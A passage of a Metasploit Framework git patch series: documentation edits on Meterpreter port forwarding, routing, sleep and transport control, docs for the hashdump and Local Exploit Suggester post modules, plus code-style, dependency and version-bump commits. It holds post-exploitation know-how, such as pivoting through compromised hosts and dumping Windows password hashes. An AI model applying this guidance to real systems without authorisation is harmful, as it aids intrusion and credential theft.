Meterpreter allows you change the routing table that is on the target machine. -The way it needs to be configured is similar to the route command in msf. +***Routing through Meterpreter*** -The portfwd command allows you to talk to a remote service like it's local. For example, if you -are able to compromise a host via SMB, but not able to connect to the remote desktop service, then -you can do: +The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msfconsole. + +***Routing through the portfwd command*** + +The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do: ``` meterpreter > portfwd add –l 3389 –p 3389 –r > target host > @@ -596,23 +591,19 @@ rdesktop 127.0.0.1 **Meterpreter Paranoid Mode** -The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to -it, hence the name "paranoid mode". +The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode". To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode). **Meterpreter Reliable Network Communication** -Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. -Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when -an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first. +Exiting Metasploit using ```exit -y``` no longer terminates the payload session like it used to. Instead, it will continue to run behind the scenes, attempting to connect back to Metasploit when an appropriate handler is available. If you wish to exit the session, make sure to ```sessions -K``` first. To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication). **Meterpreter Sleep Control** -The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to -avoid suspicious active communication, also better efficiency. +The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication. It also provides better efficiency. It is very simple to use. At the Meterpreter prompt, simply do: @@ -626,15 +617,13 @@ To learn more about this feature, please [click here](https://github.com/rapid7/ **Meterpreter Stageless Mode** -A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a -normal one would actually cost too much time and bandwidth in a penetration test. To learn more -about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. +A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead. **Meterpreter Timeout Control** -The timeout control basically defines the life span of Meterpreter. To configure, use the +The timeout control basically defines the life span of Meterpreter. To configure it, use the ```set_timeouts``` command: ``` @@ -663,19 +652,17 @@ Retry Total Time: 3600 seconds Retry Wait Time : 10 seconds ``` -To learn more about timeout control, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). +To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). **Meterpreter Transport Control** -Transport Control allows you manage transports on the fly while the payload session is still -running. Meterpreter can automatically cycle through the transports when communication fails, -or you can do so manually. +Transport Control allows you manage transports on the fly while the payload session is still running. Meterpreter can automatically cycle through the transports when communication fails, or you can do it manually. To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control). ## Using the Post Exploitation API in IRB -To enter IRB, at the Meterpreter prompt, do like the following: +To enter IRB, do the following at the Meterpreter prompt: ``` meterpreter > irb @@ -687,15 +674,13 @@ meterpreter > irb **The client object** -The client object in Meterpreter's IRB allows you control, or retrieve information about the host. -For example, this demonstrates how to obtain the current privilege we're running the payload as: +The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as: ```ruby >> client.sys.config.getuid ``` -To explore the client object, there are a few tricks. For example, you can use the #inspect method -to inspect it: +To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it: ``` >> client.inspect @@ -707,21 +692,18 @@ You can use the #methods method to see what methods you can use: >> client.methods ``` -To find the source of the method, you can use the #source_location method. For example, say I want -to find the source code for the #getuid method: +To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method: ``` >> client.sys.config.method(:getuid).source_location => ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] ``` -The first element of the array is the location of the file. The second element is the line number -of the method. +The first element of the array is the location of the file. The second element is the line number of the method. **Using Railgun** -Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a -MessageBox on the target machine, do: +Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do: ``` >> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md index 23da64bea1..7e284e76fa 100644 --- a/documentation/modules/post/windows/gather/hashdump.md +++ b/documentation/modules/post/windows/gather/hashdump.md @@ -1,6 +1,6 @@ The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command. -Having this feature as a post module allows it to be used in different penetration testing -scenarios. + +Having this feature as a post module allows it to be used in different penetration testing scenarios. ## Vulnerable Application @@ -10,8 +10,8 @@ scenarios. To be able to use post/gather/hash_dump, you must meet these requirements: * You are on a Meterpreter type session. -* Target is a Windows platform. -* Execute it under the context of a high privilege account, such as SYSTEM. +* The target is a Windows platform. +* It must be executed under the context of a high privilege account, such as SYSTEM. ## Verification Steps @@ -25,8 +25,7 @@ Please see Overview for usage. **Upgrading to Meterpreter** -To be able to use this module, a Meterpreter session is needed. To upgrade to this, the easiest -way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try: +To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try: 1. Use the exploit/multi/script/web_delivery module. 2. Manually generate a Meterpreter executable, upload it, and execute it. @@ -34,6 +33,7 @@ way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try **High Privilege Account** Before using post/gather/hashdump, there is a possibility you need to escalate your privileges. + There are a few common options to consider: * Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you @@ -43,5 +43,4 @@ There are a few common options to consider: **Hashdump From Multiple Sessions** -One major advantage of having hashdump as a post module is you can run against multiple hosts -easily. To learn how, refer to Overview for usage. +One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage. From 0073a8f40e85e0328945668fe874428f74870845 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 24 Mar 2016 15:20:43 -0500 Subject: [PATCH 86/96] Wrap comments at 78, style --- .../net/socket_subsystem/udp_channel.rb | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index c9f3511624..62c03b58aa 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -20,20 +20,21 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram # # We are a datagram channel. # - class << self - def cls - return CHANNEL_CLASS_DATAGRAM - end + def self.cls + CHANNEL_CLASS_DATAGRAM end # - # Open a new UDP channel on the remote end. The local host/port are optional, if none are specified - # the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also - # optional, if specified all default send(), write() call will sendto the specified peer. If no peer - # host/port is specified you must use sendto() and specify the remote peer you wish to send to. This - # effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease. + # Open a new UDP channel on the remote end. The local host/port are + # optional, if none are specified the remote end will bind to INADDR_ANY + # with a random port number. The peer host/port are also optional, if + # specified all default send(), write() call will sendto the specified peer. + # If no peer host/port is specified you must use sendto() and specify the + # remote peer you wish to send to. This effectivly lets us create + # bound/unbound and connected/unconnected UDP sockets with ease. # - def UdpChannel.open(client, params) + # @return [Channel] + def self.open(client, params) c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS, [ { From dfa518b492fa4b6c6550456012bb61df47a9d83e Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 24 Mar 2016 15:21:03 -0500 Subject: [PATCH 87/96] Whitespace --- lib/rex/post/meterpreter/channels/datagram.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb index 16498d1092..fc8c2e3323 100644 --- a/lib/rex/post/meterpreter/channels/datagram.rb +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -37,12 +37,12 @@ class Datagram < Rex::Post::Meterpreter::Channel return [super(length, flags)[0], super(length, flags)[0]] end - def send( buf, flags, saddr ) - channel.send( buf, flags, saddr) + def send(buf, flags, saddr) + channel.send(buf, flags, saddr) end end - def dio_write_handler( packet, data ) + def dio_write_handler(packet, data) @recvd ||= [] @recvd << [packet, data] peerhost = packet.get_tlv_value( From 925cc3b56fe7855edf6af79d535211b39fb24ec3 Mon Sep 17 00:00:00 2001 From: tdoan-r7 Date: Thu, 24 Mar 2016 16:51:02 -0500 Subject: [PATCH 88/96] Adding docs for Lester https://issues.corp.rapid7.com/browse/MS-1193 --- .../multi/recon/local_exploit_suggester.md | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 documentation/modules/post/multi/recon/local_exploit_suggester.md diff --git a/documentation/modules/post/multi/recon/local_exploit_suggester.md b/documentation/modules/post/multi/recon/local_exploit_suggester.md new file mode 100644 index 0000000000..89d54765bb --- /dev/null +++ b/documentation/modules/post/multi/recon/local_exploit_suggester.md @@ -0,0 +1,31 @@ +The Local Exploit Suggester is a post-exploitation module that you can use to check a system for local vulnerabilities. It performs local exploit checks; it does not actually run any exploits, which is useful because this means you to scan a system without being intrusive. In addition to being stealthy, it's a time saver. You don't have to manually search for local exploits that will work; it'll show you which exploits the target is vulnerable to based on the system's platform and architecture. + +The Local Exploit Suggester is available for Python, PHP, and Windows Meterpreter. + + +## Vulnerable Application + +To use the Local Exploit Suggester: + +* You must have an open Meterpreter session. + +## Verification Steps + +Please see the Overview section. + +##Options + +You can set the following options for the Local Exploit Suggester: + +* **showdescription** - Set this option to true to see more details about each exploit. + + +## Scenarios + +When the Local Exploit Suggester runs, it displays a list of local exploits that the target may be vulnerable to, and it tells you the likelihood of exploitation. + +The following terms are used to help you understand how vulnerable a target is to a particular exploit: + +* **Vulnerable** - Indicates that the target is vulnerable. +* **Appears** - Indicates that the target may be vulnerable based on the file version, but the vulnerable code has not been tested. +* **Detected** - Indicates that the target has the file, but it cannot be determined whether or not the target is vulnerable. \ No newline at end of file From 76c6f8c19d34d351e8e5c3bad19604e2682d498f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 24 Mar 2016 17:07:19 -0500 Subject: [PATCH 89/96] Move module_doc_template --- .../markdown_doc => documentation/modules}/module_doc_template.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename {data/markdown_doc => documentation/modules}/module_doc_template.md (100%) diff --git a/data/markdown_doc/module_doc_template.md b/documentation/modules/module_doc_template.md similarity index 100% rename from data/markdown_doc/module_doc_template.md rename to documentation/modules/module_doc_template.md From c3ce621d04af842cae2788a3cc5bbf717369e254 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 24 Mar 2016 20:43:51 -0500 Subject: [PATCH 90/96] Fix gemfile --- Gemfile.lock | 2 ++ metasploit-framework.gemspec | 3 +++ 2 files changed, 5 insertions(+) diff --git a/Gemfile.lock b/Gemfile.lock index 9806aeabf7..530c7a527d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -18,6 +18,7 @@ PATH msgpack network_interface (~> 0.0.1) nokogiri + octokit openssl-ccm (= 1.2.1) packetfu (= 1.1.11) pcaprub @@ -25,6 +26,7 @@ PATH railties rb-readline-r7 recog (= 2.0.14) + redcarpet robots rubyzip (~> 1.1) sqlite3 diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 80df353f99..da41ef64cc 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -89,6 +89,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'recog', '2.0.14' # required for bitlocker fvek extraction spec.add_runtime_dependency 'openssl-ccm', '1.2.1' + # Needed for documentation generation + spec.add_runtime_dependency 'octokit' + spec.add_runtime_dependency 'redcarpet' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module From c4735bd72a391d8b7be7b1b99d335a00cf9530c0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 24 Mar 2016 20:56:46 -0500 Subject: [PATCH 91/96] Fix rspec pull_request_finder_spec.rb --- spec/lib/msf/util/document_generator/pull_request_finder_spec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb index 7c224831b6..edd19163b8 100644 --- a/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb +++ b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb @@ -58,6 +58,7 @@ RSpec.describe Msf::Util::DocumentGenerator::PullRequestFinder do end before(:each) do + allow(ENV).to receive(:has_key?).and_return(true) allow_any_instance_of(Net::HTTP).to receive(:request).with(any_args).and_return(http_response) end From 1fe40d9f2d323fa53b048192dc068d16dd599c94 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 24 Mar 2016 22:32:55 -0500 Subject: [PATCH 92/96] update to metasploit-payloads 1.1.4 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 4daa391b99..97884d8956 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern metasploit-credential (= 1.1.0) metasploit-model (= 1.1.0) - metasploit-payloads (= 1.1.3) + metasploit-payloads (= 1.1.4) metasploit_data_models (= 1.3.0) msgpack network_interface (~> 0.0.1) @@ -124,7 +124,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.1.3) + metasploit-payloads (1.1.4) metasploit_data_models (1.3.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 80df353f99..d6dd3d1b57 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.3' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.4' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From 72bde633979676fbd7dbf2440c023dd9bc0b1cec Mon Sep 17 00:00:00 2001 From: Metasploit Date: Fri, 25 Mar 2016 13:03:35 -0700 Subject: [PATCH 93/96] Bump version of framework to 4.11.19 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 97884d8956..d0ba0c7661 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.18) + metasploit-framework (4.11.19) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index ec28016010..caea85e2fe 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.18" + VERSION = "4.11.19" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From e25525b4a71b008eeb58201e728568145547795d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 28 Mar 2016 23:03:17 -0500 Subject: [PATCH 94/96] avoid validating file-based datastore options on assignment file:/ strings are special with some datastore options, causing them to read a file rather than emitting the exact string. This causes a couple of problems. 1. the valid? check needs to be special on assignment, since normalization really means normalizing the path, not playing with the value as we would do for other types 2. there are races or simply out-of-order assignments when running commands like 'services -p 80 -R', where the datastore option is assigned before the file is actually written. This is the 'easy' fix of disabling assignment validation (which we didn't have before anyway) for types that can expect a file:/ prefix. --- lib/msf/core/data_store.rb | 8 +++++--- lib/msf/core/opt_address_range.rb | 4 ++++ lib/msf/core/opt_base.rb | 7 +++++++ lib/msf/core/opt_path.rb | 4 ++++ lib/msf/core/opt_raw.rb | 4 ++++ lib/msf/core/opt_string.rb | 4 ++++ 6 files changed, 28 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index eeecd6ea38..81a3e2ed55 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -29,10 +29,12 @@ class DataStore < Hash opt = @options[k] unless opt.nil? - unless opt.valid?(v) - raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'#{['', ', try harder'].sample}"]) + if opt.validate_on_assignment? + unless opt.valid?(v) + raise OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"]) + end + v = opt.normalize(v) end - v = opt.normalize(v) end super(k,v) diff --git a/lib/msf/core/opt_address_range.rb b/lib/msf/core/opt_address_range.rb index 50c1653971..13dbe4bcd1 100644 --- a/lib/msf/core/opt_address_range.rb +++ b/lib/msf/core/opt_address_range.rb @@ -12,6 +12,10 @@ class OptAddressRange < OptBase return 'addressrange' end + def validate_on_assignment? + false + end + def normalize(value) return nil unless value.kind_of?(String) if (value =~ /^file:(.*)/) diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 566f53703f..b332788bc5 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -75,6 +75,13 @@ module Msf return (type == in_type) end + # + # Returns true if this option can be validated on assignment + # + def validate_on_assignment? + true + end + # # If it's required and the value is nil or empty, then it's not valid. # diff --git a/lib/msf/core/opt_path.rb b/lib/msf/core/opt_path.rb index 6a40d48fef..23a23a1671 100644 --- a/lib/msf/core/opt_path.rb +++ b/lib/msf/core/opt_path.rb @@ -12,6 +12,10 @@ class OptPath < OptBase return 'path' end + def validate_on_assignment? + false + end + # Generally, 'value' should be a file that exists. def valid?(value) return false if empty_required_value?(value) diff --git a/lib/msf/core/opt_raw.rb b/lib/msf/core/opt_raw.rb index 1ecc37f290..b144334165 100644 --- a/lib/msf/core/opt_raw.rb +++ b/lib/msf/core/opt_raw.rb @@ -12,6 +12,10 @@ class OptRaw < OptBase return 'raw' end + def validate_on_assignment? + false + end + def normalize(value) if (value.to_s =~ /^file:(.*)/) path = $1 diff --git a/lib/msf/core/opt_string.rb b/lib/msf/core/opt_string.rb index 8b7499a940..459ac08cc6 100644 --- a/lib/msf/core/opt_string.rb +++ b/lib/msf/core/opt_string.rb @@ -12,6 +12,10 @@ class OptString < OptBase return 'string' end + def validate_on_assignment? + false + end + def normalize(value) if (value.to_s =~ /^file:(.*)/) path = $1 From faaaf6b7653dbc52ebcb9307e95f75827f7f633b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 29 Mar 2016 13:40:51 -0500 Subject: [PATCH 95/96] MS10-58 Call super in #set_sane_defaults for caidao login scanner MS10-58 --- lib/metasploit/framework/login_scanner/caidao.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/metasploit/framework/login_scanner/caidao.rb b/lib/metasploit/framework/login_scanner/caidao.rb index 28eb0a7c7b..1907f96a4a 100644 --- a/lib/metasploit/framework/login_scanner/caidao.rb +++ b/lib/metasploit/framework/login_scanner/caidao.rb @@ -43,6 +43,7 @@ module Metasploit def set_sane_defaults self.method = "POST" if self.method.nil? + super end # Actually doing the login. Called by #attempt_login From b41ac10fe8f540a6159735d2c2a0747c8f9283b5 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 29 Mar 2016 12:43:20 -0700 Subject: [PATCH 96/96] Bump version of framework to 4.11.20 --- Gemfile.lock | 2 +- lib/metasploit/framework/version.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 955826a1fe..2c79340509 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.19) + metasploit-framework (4.11.20) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index caea85e2fe..93ae4be7e4 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.11.19" + VERSION = "4.11.20" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash